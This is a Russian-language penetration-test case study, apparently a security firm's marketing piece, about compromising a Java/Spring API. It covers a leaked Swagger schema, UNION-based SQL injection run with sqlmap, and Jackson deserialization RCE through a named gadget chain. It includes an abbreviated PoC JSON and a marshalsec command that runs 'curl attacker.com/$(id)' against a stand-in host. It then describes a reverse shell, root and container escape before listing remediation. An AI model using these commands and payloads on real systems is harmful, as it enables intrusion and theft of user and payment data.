1. Разведка: Swagger Leak → Attack Surface
Публично доступен /v3/api-docs (SpringDoc OpenAPI) — полная схема всех 47 эндпоинтов, включая внутренние админские. Параметры, схемы запросов/ответов, примеры. Экономия дней на рекон.
Ключевые находки: POST /api/admin/import (принимает JSON для bulk-загрузки), POST /api/search (Raw SQL в параметре q), GET /actuator/env (Spring Boot Actuator сcrets).
2. SQL Injection в поиске (High → Critical Chain)
Параметр q в /api/search?q= конкатенировался в нативный запрос Hibernate без параметризации. Классический UNION-based SQLi. Извлекли схему БД, версию PostgreSQL, список таблиц.
sqlmap -u "https://target.com/api/search?q=test" --dbs --batch --level 5 --risk 3
# Result: 12 databases, 2.4M rows in users table, credit_cards, sessions, reset_tokens3. Jackson Deserialization → RCE (Critical)
Эндпоинт POST /api/admin/import использовал ObjectMapper.readValue(json, Object.class) с включённым enableDefaultTyping() (Polymorphic Type Handling). Это позволяет указать произвольный класс в JSON через @class.
Gadget Chain: com.fasterxml.jackson.databind.node.POJONode → javax.script.ScriptEngineManager → javax.script.ScriptEngine → eval() → RCE. Использовали marshalsec для генерации пейлоада.
# PoC JSON для RCE (упрощённо)
{
"@class": "com.fasterxml.jackson.databind.node.POJONode",
"value": {
"@class": "javax.script.ScriptEngineManager",
"engineName": "JavaScript",
"factory": { ... }
}
}
# Генерация через marshalsec
java -cp marshalsec.jar marshalsec.Jackson gadget "curl attacker.com/$(id)"Результат: выполнение curl attacker.com/$(id) на сервере → обратный шелл → root через грязный sudo в контейнере.
4. Пост-эксплуатация и влияние
Полный дамп БД
2.4M пользователей: email, bcrypt-хеши, PII, платёжные токены
Root на проде
Container escape через неправильный sudo в Dockerfile
Платёжные данные
Токенизированные карты (Stripe), но достаточны для рефанда/фрода
5. Ремедиация и результат
mapper.disable(MapperFeature.DEFAULT_TYPING)PolymorphicTypeValidatorВсе Critical закрыты за 24ч. Retest — 0 findings. Клиент получил отчёт для инвесторов (Series A due diligence passed).
Боитесь десериализацию в своем Java-стеке?
Проверим ObjectMapper, Spring Cloud, SpEL, Groovy, SnakeYAML, Hessian, Kryo. Дадим PoC или подтвердим безопасность.
Заказать аудит Java/Spring